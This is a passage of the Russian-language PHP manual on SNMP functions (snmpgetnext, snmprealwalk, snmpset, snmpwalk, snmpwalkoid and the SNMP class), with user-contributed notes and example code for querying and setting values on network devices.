$foo = snmpwalk('foo.bar.com:1161', 'foofoo', '.1.3.6');

This is on PHP 3.16; I haven't managed to get PHP 4.02 to compile successfully on Solaris 2.6 yet.
--Michael


Получает объект SNMP, который следует за данным идентификатором объекта

  • « snmpget
  • snmprealwalk »
  • PHP Manual
  • Функции SNMP
  • Получает объект SNMP, который следует за данным идентификатором объекта

snmpgetnext

(PHP 5, PHP 7, PHP 8)

snmpgetnext — Получает объект SNMP, который следует за данным идентификатором объекта

Описание

snmpgetnext(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

Функция snmpgetnext() используется для чтения значения объекта SNMP, который следует за указанным object_id.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

community

Read-сообщество.

object_id

Идентификатор объекта SNMP, который предшествует желаемому.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает значение объекта SNMP в случае успешного выполнения или false в случае возникновения ошибки. В случае возникновения ошибки выводится ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования snmpgetnext()

<?php
$nameOfSecondInterface = snmpgetnetxt('localhost', 'public', 'IF-MIB::ifName.1');
?>

Смотрите также

  • snmpget() - Получает объект SNMP
  • snmpwalk() - Получает все объекты SNMP из агента

User Contributed Notes

achalsaraiya at yahoo dot co dot in 25-Mar-2010 02:46
with snmpget api, the agent returns the value associated
with the OID (or OIDs) specified in the original request.
The snmpgetnext api is  similar, but the agent returns the
value associated with the next (valid) OID

eg:
snmpgetnext('192.168.40.134',
                   'public',
                   'SNMPv2-MIB::sysUpTime.0');

will give the output:
STRING: user@hostname


Возвращает все объекты, включая их идентификатор

  • « snmpgetnext
  • snmpset »
  • PHP Manual
  • Функции SNMP
  • Возвращает все объекты, включая их идентификатор

snmprealwalk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmprealwalk — Возвращает все объекты, включая их идентификатор

Описание

snmprealwalk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmprealwalk() используется для обхода объектов SNMP, начиная с object_id и возвращает не только их значения, но и их идентификаторы объектов.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

community

Read-сообщество.

object_id

Идентификатор объекта SNMP, который предшествует желаемому.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает ассоциативный массив идентификаторов объектов SNMP и их значений в случае успешного выполнения или false в случае возникновения ошибки. В случае возникновения ошибки выводит ошибку уровня E_WARNING.

Примеры

Пример #1 Пример использования snmprealwalk()

<?php
print_r(snmprealwalk("localhost", "public", "IF-MIB::ifName"));
?>

Вышеупомянутый пример выведет что-то вроде:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

Смотрите также

  • snmpwalk() - Получает все объекты SNMP из агента

User Contributed Notes

aleksander dot sztramski at kpsi dot pl 20-Aug-2009 04:39
If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
Anonymous 21-May-2008 10:19
To check if there were any results found you have to use the empty() function.  The count() function always returns a number 1 or larger.

     $walk_result = snmprealwalk($machine_ip, $community, $snmpcodes['interface_names']);

    if (empty($walk_result)) {
        print "No network interfaces found.<br>\n";
        exit(0);
    }
scot at indievisible dot org 09-Aug-2006 12:10
Some improvements based on testing a lot of OIDs on a lot of devices.

<?php
function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid);
    if (count($raw) == 0) return ($retval); // no data

    $prefix_length = 0;
    $largest = 0;
    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        if ($largest < $index[0]) $largest = $index[0];
        $retval[$index[1]][$index[0]] = $value;
    }

    if (count($retval) == 0) return ($retval); // no data

    // fill in holes and blanks the agent may "give" you
    foreach($retval as $k => $x) {
        for ($i = 1; $i <= $largest; $i++) {
        if (! isset($retval[$k][$i])) {
                $retval[$k][$i] = '';
            }
        }
        ksort($retval[$k]);
    }
    return($retval);
}
 ?>
scot at indievisible dot org 09-Aug-2006 08:16
Since PHP doesn't have a nice snmptable-like function... here is a quick-and-dirty hack that works for me. Works on complete and sparse tables. The example oids are for the route (complete) and interface (often sparse) tables.

<?php
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.4.21") or die("error");
    print_r($a);
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.2.2") or die("error");
    print_r($a);

function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid) or die("snmptable: unable to walk OID $oid");

    $prefix_length = 0;

    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        isset($firstrow) or $firstrow = $index[1];
        $retval[$index[1]][$index[0]] = $value;
    }

    // check for holes in the table and fill them in
    foreach ($retval[$firstrow] as $key => $tmp) {
        foreach($retval as $check => $tmp2) {
            if (! isset($retval[$check][$key])) {
                $retval[$check][$key] = '';
            }
        }
    }

    return($retval);
}
?>
railson at amixsi dot com dot br 30-May-2006 10:52
Attention: timeout is in microseconds (multiply by 1,000,000 for seconds)
Stephen Cope 09-Sep-2004 08:38
Here's a way to find the uptime and number of users on a machine. (Note that uptime is the uptime of the snmpd daemon, which should be fairly close to the uptime for the host.)

<?php
        $state = snmprealwalk($host, "public", ".1.3.6.1.2.1.25.1", 50, 1);
        $uptime = ereg_replace("^.*\) ([0-9]+ .*):[0-9][0-9]\.[0-9]{2}.*$", "\\1", $state['host.hrSystem.hrSystemUptime.0']);
        $users  = (int)ereg_replace("Gauge32: ", "", $state['host.hrSystem.hrSystemNumUsers.0']);
        printf('<div class="machine"><dt>%s</dt><dd>%s</dd>', $host, $desc);
        printf('<dd>up %s</dd>', $uptime);
        if ( $users ) printf('<dd>%d user%s</dd>', $users, ($users > 1) ? 's' : '');
        printf('</div>');
?>
Lars Troen 24-Feb-2003 05:30
snmprealwalk indexes the values using the oid instead of an integer. This is useful when you need data that is contained in the oid as well as the value.

Here's an example for retrieving and printing vlan info:
//
// I have collected the vlan identifiers earlier from the 3com mib and they are stored in the $vlan table.
//
  for($n=0;$n<count($vlan);$n++){
    print $vlan[$n][id]."  ".$vlan[$n][name]."<br>\n";
    $ifStackStatusTable=@snmprealwalk($switch, $community, ".1.3.6.1.2.1.31.1.2.1.3.".$vlan[$n][id]); // ifMIB.ifMIBObjects.ifStackTable.ifStackEntry.ifStackStatus
    for(reset($ifStackStatusTable);  $port = key($ifStackStatusTable);  next($ifStackStatusTable)){
      print "$port=$ifStackStatusTable[$port]<br>";
      }


Устанавливает значение объекта SNMP

  • « snmprealwalk
  • snmpwalk »
  • PHP Manual
  • Функции SNMP
  • Устанавливает значение объекта SNMP

snmpset

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpset — Устанавливает значение объекта SNMP

Описание

snmpset(
string $hostname,
string $community,
array|string $object_id,
array|string $type,
array|string $value,
int $timeout = -1,
int $retries = -1
): bool

snmpset() используется для установки значения объекта SNMP, указанного в параметре object_id.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

community

Write-сообщество.

object_id

Идентификатор объекта SNMP.

type

MIB указывает тип идентификатора каждого объекта. Он должен быть указан в виде одного символа из следующего списка.

types
= Тип, принимаемый MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

Если при компиляции библиотеки SNMP была определена опция OPAQUE_SPECIAL_TYPES, то также могут быть использованы следующие типы:

types
U | unsigned int64
I | signed int64
F | float
D | double

Большинство этих значений используют очевидный тип ASN.1. 's', 'x', 'd' и 'b' — это все разные способы указания значения OCTET STRING, а беззнаковый тип 'u' также используется для обработки значений Gauge32.

Если MIB-файлы были загружены в MIB-дерево с помощью "snmp_read_mib" или были указаны в конфигурационном файле libsnmp, то для указания параметра type можно использовать нотацию '=', т.к. тип всех идентификаторов объектов будет автоматически считан из MIB.

Обратите внимание, что есть два способа установить переменную типа BITS, например, "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • С помощью типа "b" и списка битовых чисел. Не рекомендуется использовать этот метод, т.к. GET-запрос для того же OID вернёт, к примеру, 0xF8.
  • С помощью типа "x" и шестнадцатеричного числа, но без(!) обычного префикса "0x".

Подробнее смотрите в разделе с примерами.

value

Новое значение.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Если хост SNMP отклоняет тип данных, выводится ошибка уровня E_WARNING вроде "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length.". Если указан неизвестный или недопустимый OID, вероятно, выведется предупреждение "Could not add variable".

Примеры

Пример #1 Пример использования snmpset()

<?php
snmpset("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Пример #2 Пример использования snmpset() для установки BITS идентификатору объекта SNMP

<?php
snmpset("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
snmpset("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

Смотрите также

  • snmpget() - Получает объект SNMP

User Contributed Notes

ch at lathspell dot de 13-Jan-2010 06:22
Note that there are two ways to set a variable of the type BITS like e.g.:
  SYNTAX        BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}

1. Using type "b" and a list of bit numbers like:
  snmpset('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
with the disadvantage that the success is not easily verifyable as an snmpget() for the same OID would return e.g. 0xF8.

2. Using type "x" and a hex number but without(!) the usual "0x" prefix:
  snmpset('FOO-MIB::bar.42', 'x', 'F0');
tridman 19-Apr-2007 07:19
If you have importet the MIB-Files into the MIB Tree with "snmp_read_mib" you may use '=' as the "type" parameter.
In this case the type will also be taken from the loaded mib file. (Octest strings will be interpreted like strings though)
Comes in handy for a more dynamic use of snmpset.
deivis dot jakstas at gmail dot com 28-Dec-2006 06:53
If you setting hex values correct format is:
snmpset($source_ip,$community,"$oid","x","10 10 10 10");
slawrance at technologist dot com 21-Jul-1999 12:01
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING
n    NULLOBJ
b    BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the
following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double

As an example, using "i" would set an integer, and "s" would set a string.  If the SNMP host rejects the data type, you might get the following message: "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length."

If you specify an unknown or invalid OID, you might get a "Could not add variable" message.  When specifying an absolute OID (one that is already resolved) that is completely numeric, prepend it with a period.  For example, an OID that could enable/disable Ethernet ports on an Asante hub might be "1.3.6.1.2.1.22.1.3.1.1.3.6.4.0", but you would need to use ".1.3.6.1.2.1.22.1.3.1.1.3.6.4.0" in the OID parameter so that the SNMP library won't try to resolve an already resolved OID.  Friendly, unresolved OIDs do not need the period prepended, such as "system.SysContact.0"


Получает все объекты SNMP из агента

  • « snmpset
  • snmpwalkoid »
  • PHP Manual
  • Функции SNMP
  • Получает все объекты SNMP из агента

snmpwalk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpwalk — Получает все объекты SNMP из агента

Описание

snmpwalk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmpwalk() используется для чтения всех значений из агента SNMP, указанного в hostname.

Список параметров

hostname

Агент SNMP (сервер).

community

Read-сообщество.

object_id

Если null, object_id берётся в качестве корня дерева объектов SNMP и все объекты этого дерева возвращаются в виде массива.

Если указан object_id, возвращаются все объекты SNMP ниже этого object_id.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает массив значений объекта SNMP, начиная с object_id в качестве корня или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования snmpwalk()

<?php
$a = snmpwalk("127.0.0.1", "public", "");

foreach ($a as $val) {
echo "$val\n";
}

?>

Вызов функции вернёт все объекты SNMP из агента SNMP, работающего на localhost. Можно перемещаться по значениям с помощью цикла.

Смотрите также

  • snmprealwalk() - Возвращает все объекты, включая их идентификатор

User Contributed Notes

http://mike.eire.ca 23-Mar-2005 10:54
I found on Windows (PHP 5) an empty string did not return anything, it just timed out.  I had to use null instead:

<?php
$a = snmpwalk("127.0.0.1", "public", null);
?>
bobby [dot] clark [at] eku [dot] edu 17-Sep-2003 02:29
I had to use an object_id like these.
'SNMPv2-MIB::system.sysDescr.0'
'IF-MIB::interfaces.ifTable.ifEntry.ifAdminStatus'

<?php
$host = '192.168.1.1';
$community = 'public';
$object_id = 'IF-MIB::interfaces.ifTables.ifEntry.ifAdminStatus';

$sysdesc = snmpwalk($host, $community', $object_id);
print_r($sysdesc);
?>
Lars Troen 14-Mar-2003 03:18
Note that there's different behaviuor in php snmpwalk and ucd snmpwalk. If you try to walk an oid that has one value not under a subkey of the walked oid, ucd snmpwalk will return the value while php's snmpwalk will not.
anders at ei dot nu 29-Jan-2003 10:11
It would be nice to be able to specify what snmp version to use ( 1,2c,3 )

For now, I'ts hardcoded in ext/snmp/snmp.c

change session.version from 1 to 2c or 3 if you need for now..

i.e

session.version = SNMP_VERSION_1;

to:
session.version = SNMP_VERSION_2c;
steve at ourabode dot org 26-Mar-2002 03:54
Timeout is in MICRO seconds.
1,000,000 &micros = 1 s
layer2 at www dot com 29-Aug-2001 08:52
Something to care about in dealing with snmpwalk:<BR>
While walking the MIB, snmpwalk puts info that gets into an array, and that is correct.<BR>
The trouble happened when snmpwalk needs to collect information from instances that contains subinstances (i.e. walking .1.2.3.4.5 and having instances like 1.1, 1.2, 1.3): in this case it gets info and passes into an array, but when walking the array, each value is preceeded by 'Counter32: '.<BR>
I've tested this in many ways and it always happened the same way.
john at antefacto dot com 17-Aug-2001 08:21
Ah. That's why all of our SNMP stuff was timing out anytime there was any load on the system. Sigh. A waste of two weeks trying to debug snmp....

 Even the snmpcmd manpage doesn't give a
unit for timeout.
billf at freebsd dot org 01-Aug-2001 02:22
for the poster wondering what the
timeout field was measured in:

from the ucd-snmp header file snmp_api.h:

    long    timeout;
    /* Number of uS until first timeout
    then exponential backoff */
jmartinson(AT_nospam)info234.com 20-Jun-2001 07:41
A quick router device view:

<?
include "header.html";

$host = "auscr1";
$community = "tellme";

$sysDescr = snmpget("$host","$community","system.sysDescr.0");
$ifDescr = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifDescr");
$ifIndex = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifIndex");
$ifAdminStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifAdminStatus");
$ifOperStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifOperStatus");
$ifLastChange = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifLastChange");

print "<table border=1 bgcolor=#ffffff><tr><td>$host</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff><tr><td>$sysDescr</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff>";
print "<tr>
        <td>ifIndex</td>
        <td>ifDescr</td>
        <td>ifAdminStatus</td>
        <td>ifOperStatus</td>
        <td>ifLastChange</td>
        </tr>";

for ($i=0; $i<count($ifIndex); $i++) {
        print "<tr>";
        print "<td>$ifIndex[$i]</td>";
        print "<td>$ifDescr[$i]</td>";
        print "<td>$ifAdminStatus[$i]</td>";
        print "<td>$ifOperStatus[$i]</td>";
        print "<td>$ifLastChange[$i]</td>";
        print "</tr>";
}
print "</table>";

?>


Запрос дерева информации о сетевом объекте

  • « snmpwalk
  • SNMP »
  • PHP Manual
  • Функции SNMP
  • Запрос дерева информации о сетевом объекте

snmpwalkoid

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpwalkoid — Запрос дерева информации о сетевом объекте

Описание

snmpwalkoid(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmpwalkoid() используется для чтения всех идентификаторов объектов и их соответствующих значений из агента SNMP, указанного в hostname.

Функции snmpwalkoid() и snmpwalk() существует по историческим причинам. Обе функции предусмотрены для обратной совместимости. Вместо этого используйте функцию snmprealwalk().

Список параметров

hostname

Агент SNMP.

community

Read-сообщество.

object_id

Если null, object_id берётся в качестве корня дерева объектов SNMP и все объекты этого дерева возвращаются в виде массива.

Если указан object_id, возвращаются все объекты SNMP ниже этого object_id.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает ассоциативный массив с идентификаторами объектов и соответствующими им значениями объектов, начиная с object_id в качестве корня или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования snmpwalkoid()

<?php
$a = snmpwalkoid("127.0.0.1", "public", "");
for (reset($a); $i = key($a); next($a)) {
echo "$i: $a[$i]<br />\n";
}
?>

Вызов функции вернёт все объекты SNMP из агента SNMP, работающего на localhost. Можно перемещаться по значениям с помощью цикла.

Смотрите также

  • snmpwalk() - Получает все объекты SNMP из агента

User Contributed Notes

Anonymous 21-Nov-2014 10:00
make sure you install "snmp-mibs-downloader" in debian.

apt-get install snmp-mibs-downloader

you my also need to edit your /etc/apt/sources.list

deb http://ftp.us.debian.org/debian/ wheezy main contrib non-free
deb-src http://ftp.us.debian.org/debian/ wheezy main contrib non-free
thammer at rtccom dot com 14-Jun-2005 08:29
The above note mentions that the MAC addresses come back converted to integers or something funky like that. Not sure why that is happening but I fixed that with a wrapper function.

function PadMAC($mac) {
    $mac_arr = explode(':',$mac);
    foreach($mac_arr as $atom) {
        $atom = trim($atom);
        $newarr[] = sprintf("%02s",$atom);
    }
    $newmac = implode(':',$newarr);
    return $newmac;
}

Maybe that will help somebody with that issue. I know I personally use the heck out of these user contributed notes
gene_wood at example dot com 14-Oct-2004 09:23
Looks like timeout is in MICRO seconds.
1,000,000 &micros = 1 s
jasper at pointless dot net 06-Jan-2001 07:21
N.B. it's possible for snmpwalkoid to lose data - the "rmon.matrix.matrixSDTable" table for example uses binary mac addresses as part of the index, these get converted to ascii, and by the time they get to php they can be non-unique - so some entrys in the table get lost...


Класс SNMP

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

Представляет сессию SNMP.

Обзор классов

class SNMP {
/* Константы */
public const int VERSION_1;
public const int VERSION_2c;
public const int VERSION_2C;
public const int VERSION_3;
public const int ERRNO_NOERROR;
public const int ERRNO_ANY;
public const int ERRNO_GENERIC;
public const int ERRNO_TIMEOUT;
public const int ERRNO_ERROR_IN_REPLY;
public const int ERRNO_OID_NOT_INCREASING;
public const int ERRNO_OID_PARSING_ERROR;
public const int ERRNO_MULTIPLE_SET_QUERIES;
/* Свойства */
public readonly array $info;
public ?int $max_oids;
public int $valueretrieval;
public bool $quick_print;
public bool $enum_print;
public int $oid_output_format;
public bool $oid_increasing_check;
public int $exceptions_enabled;
/* Методы */
public __construct(
int $version,
string $hostname,
string $community,
int $timeout = -1,
int $retries = -1
)
public close(): bool
public get(array|string $objectId, bool $preserveKeys = false): mixed
public getErrno(): int
public getError(): string
public getnext(array|string $objectId): mixed
public set(array|string $objectId, array|string $type, array|string $value): bool
public setSecurity(
string $securityLevel,
string $authProtocol = "",
string $authPassphrase = "",
string $privacyProtocol = "",
string $privacyPassphrase = "",
string $contextName = "",
string $contextEngineId = ""
): bool
public walk(
array|string $objectId,
bool $suffixAsKey = false,
int $maxRepetitions = -1,
int $nonRepeaters = -1
): array|false
}

Свойства

max_oids

Максимальный OID для запросов GET/SET/GETBULK

valueretrieval

Контролирует способ, как будут возвращаться значения SNMP

SNMP_VALUE_LIBRARY | Возвращаемые значения будут такими, как будто возвращены библиотекой Net-SNMP.
SNMP_VALUE_PLAIN | Возвращаемые значения будут простыми, без информации о типах SNMP.
SNMP_VALUE_OBJECT | Возвращаемые значения будут объектами со свойствами "value" и "type", где "type" будет содержать одну из констант: SNMP_OCTET_STR, SNMP_COUNTER и т.д., а "value" будет зависеть от того, установлено SNMP_VALUE_LIBRARY или SNMP_VALUE_PLAIN.
quick_print

Значение quick_print в библиотеке NET-SNMP

Устанавливает значение quick_print в библиотеке NET-SNMP. если задано как (1), то библиотека SNMP будет возвращать значения 'quick printed'. Это значит, что будут напечатаны только значения. Если quick_print не разрешён (по умолчанию), библиотека NET-SNMP будет печатать дополнительную информацию, включая тип значения (то есть IpAddress или OID). Дополнительно, если quick_print не разрешён, библиотека будет печатать шестнадцатеричные значения для всех строк короче четырёх символов.

enum_print

Контролирует способ, которым будут печататься значения перечислений

Параметр переключает поведение walk/get и т.д., чтобы они автоматически смотрели значения перечислений в MIB и возвращали их вместе с понятным человеку текстом.

oid_output_format

Контролирует формат вывода OID

OID-представление .1.3.6.1.2.1.1.3.0 для различных значений oid_output_format
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined
oid_increasing_check

Контролирует запрет на проверку увеличения OID при обходе дерева OID

Некоторые агенты SNMP известны тем, что возвращают OID не по порядку, но всё равно завершают проход. Другие агенты, возвращают OID не по порядку и могут вызвать бесконечное зацикливание SNMP::walk(), пока не будет исчерпана вся память. Библиотека PHP SNMP по умолчанию предпринимает проверку увеличения OID и прекращает обход дерева, если определяет возможную закольцовку, выдавая соответствующее предупреждение. Установите oid_increasing_check в значение false для запрета этой проверки.

exceptions_enabled

Контролирует, в каких случаях будут выбрасываться исключения SNMPException вместо предупреждений. Используйте побитовое ИЛИ из констант SNMP::ERRNO_*. По умолчанию SNMP не выбрасывает исключения.

info

Свойство доступное только для чтения, содержащее конфигурацию удалённого агента: имя хоста, порт, время ожидания по умолчанию, количество повторов по умолчанию

Предопределённые константы

Типы ошибок SNMP

SNMP::ERRNO_NOERROR

Ошибки SNMP отсутствуют.

SNMP::ERRNO_GENERIC

Общая ошибка SNMP.

SNMP::ERRNO_TIMEOUT

Превышено время ожидания запроса к SNMP-агенту.

SNMP::ERRNO_ERROR_IN_REPLY

SNMP-агент вернул ошибку в ответ.

SNMP::ERRNO_OID_NOT_INCREASING

SNMP-агент обнаружил возможную закольцовку из-за неувеличение OID при выполнении команд (BULK)WALK. Говорит нам, что удалённый SNMP-агент фиктивный.

SNMP::ERRNO_OID_PARSING_ERROR

Библиотека не смогла разобрать OID (и/или тип для команды SET). Запросов не было.

SNMP::ERRNO_MULTIPLE_SET_QUERIES

Библиотека использует множественные запросы для операции SET. Это означает, что операция будет выполняться без транзакции, и, если возникнет ошибка типа или значения, второй или последующие фрагменты могут завершиться ошибкой.

SNMP::ERRNO_ANY

Все коды SNMP::ERRNO_* объединённые побитовым ИЛИ.

Версии протокола SNMP

SNMP::VERSION_1

SNMP::VERSION_2C, SNMP::VERSION_2c

SNMP::VERSION_3

Содержание

  • SNMP::close — Закрывает сессию SNMP
  • SNMP::__construct — Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP
  • SNMP::get — Получает объект SNMP
  • SNMP::getErrno — Получает код последней ошибки
  • SNMP::getError — Получает последнее сообщение об ошибке
  • SNMP::getnext — Получить объект SNMP, который следует за данным идентификатором объекта
  • SNMP::set — Устанавливает значение объекта SNMP
  • SNMP::setSecurity — Настраивает связанные с безопасностью параметры сессии SNMPv3
  • SNMP::walk — Получает поддерево объекта SNMP

User Contributed Notes

swannie at swannie dot net 05-Mar-2021 06:17
Hopefully this helps someone else out because this was driving be bonkers for a good two hours.  It looks like valueretrieval and enum_print work together in a way that I wasn't expecting, and after re-reading may be by design but I'm not sure.  If you can't get enums to print, this might be why.

<?php
 $snmp = new SNMP(SNMP::VERSION_2C,'192.168.1.9','test');
 $snmp->oid_output_format = SNMP_OID_OUTPUT_SUFFIX;
 $snmp->valueretrieval = SNMP_VALUE_PLAIN;
 $snmp->enum_print = 0;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->enum_print = 1;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->quick_print = 1;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->valueretrieval = SNMP_VALUE_LIBRARY;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->enum_print = 0;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
?>

Output:
1
1
1
1
up
madjev1990 at gmail dot com 04-Mar-2016 10:13
Part of my diploma thesis was to create web interface to command device via SNMP. So I create my own level of abstraction over SNMP class:

<?php

/**
 * Snmp library which add one level of abstraction to snmp native library.
 * It adds functionality to work with module PicoIP.With this library you can:
 * 1.Activate/deactive defined pin;
 * 2.Get status of all pins.
 *
 * When make an instance you should pass to the constructor key word which will
 * make the library create an object with necessary properetis and access permissions.
 *
 * Private properties set some of configurations:
 * Host is IP address of the divece which we will command.
 * Two passwords are set for reading and writing.
 * Version of snmp protocol that we will use is version 1.
 *
 * @author Radoslav Madjev
 * @year 2016
 * @version 1.0 beta
 *
 *
 */
class snmp_lib {

    private $snmpInstance;
    private $VERSION = SNMP::VERSION_1;
    private $HOST = '192.168.0.150';
    private $passwordRead = '000000000000';
    private $passwordWrite = 'private';
    private $releys = array(1 => '1.3.6.1.4.1.19865.1.2.1.1.0',
        2 => '1.3.6.1.4.1.19865.1.2.1.2.0');
    private $allPorts = array('3' => '1.3.6.1.4.1.19865.1.2.1.33.0',
        '5' => '1.3.6.1.4.1.19865.1.2.2.33.0');

    /**
     * Create instance of SNMP native class, based on actions that we will
     * perform.
     *
     * @param string $action
     */
    public function __construct($action) {
        if (in_array($action, array('read', 'write'))) {
            if (strcmp($action, 'read') === 0) {
                $this->_read();
            } else {
                $this->_write();
            }
        }
    }

    /**
     * Create instance with reading permissions.
     */
    private function _read() {
        $this->snmpInstance = new SNMP($this->VERSION, $this->HOST, $this->passwordRead);
    }

    /**
     * Create instance with writing permissions.
     */
    private function _write() {
        $this->snmpInstance = new SNMP($this->VERSION, $this->HOST, $this->passwordWrite);
    }

    /**
     * Close snmp session.
     *
     * @return boolean
     */
    public function closeSession() {
        return $this->snmpInstance->close();
    }

    /**
     * Set integer 1 as value of defined pin.
     */
    public function activate($relay) {
        $this->snmpInstance->set($this->releys[$relay], 'i', '1');
    }

    /**
     * Set integer 0 as value of defined pin.
     */
    public function deactivate($relay) {
        $this->snmpInstance->set($this->releys[$relay], 'i', '0');
    }

    /**
     * Get pin status of all ports of the module.
     *
     * @return array
     */
    public function getAllPortsStatus() {
        $allPins = array();
        foreach ($this->allPorts as $number => $port) {
            //get active pins as 8-bit integer of defined port
            $getbits = $this->snmpInstance->get($port);
            $bits = str_replace('INTEGER: ', '', $getbits);
            //get pins status
            $pinsStatus = $this->_getActivePins($bits);
            $allPins[$number] = $pinsStatus;
        }

        return $allPins;
    }

    /**
     * Make bitwise operation which will determine,
     * which are active pins.
     *
     * @param int $bits
     * @return array
     */
    private function _getActivePins($bits) {

        $bitMapping = array(
            1 => 1,
            2 => 2,
            3 => 4,
            4 => 8,
            5 => 16,
            6 => 32,
            7 => 64,
            8 => 128
        );

        $pinsStatus = array();

        foreach ($bitMapping as $int => $bit) {
            if (($bits & $bit) == $bit) {
                $pinsStatus[$int] = true;
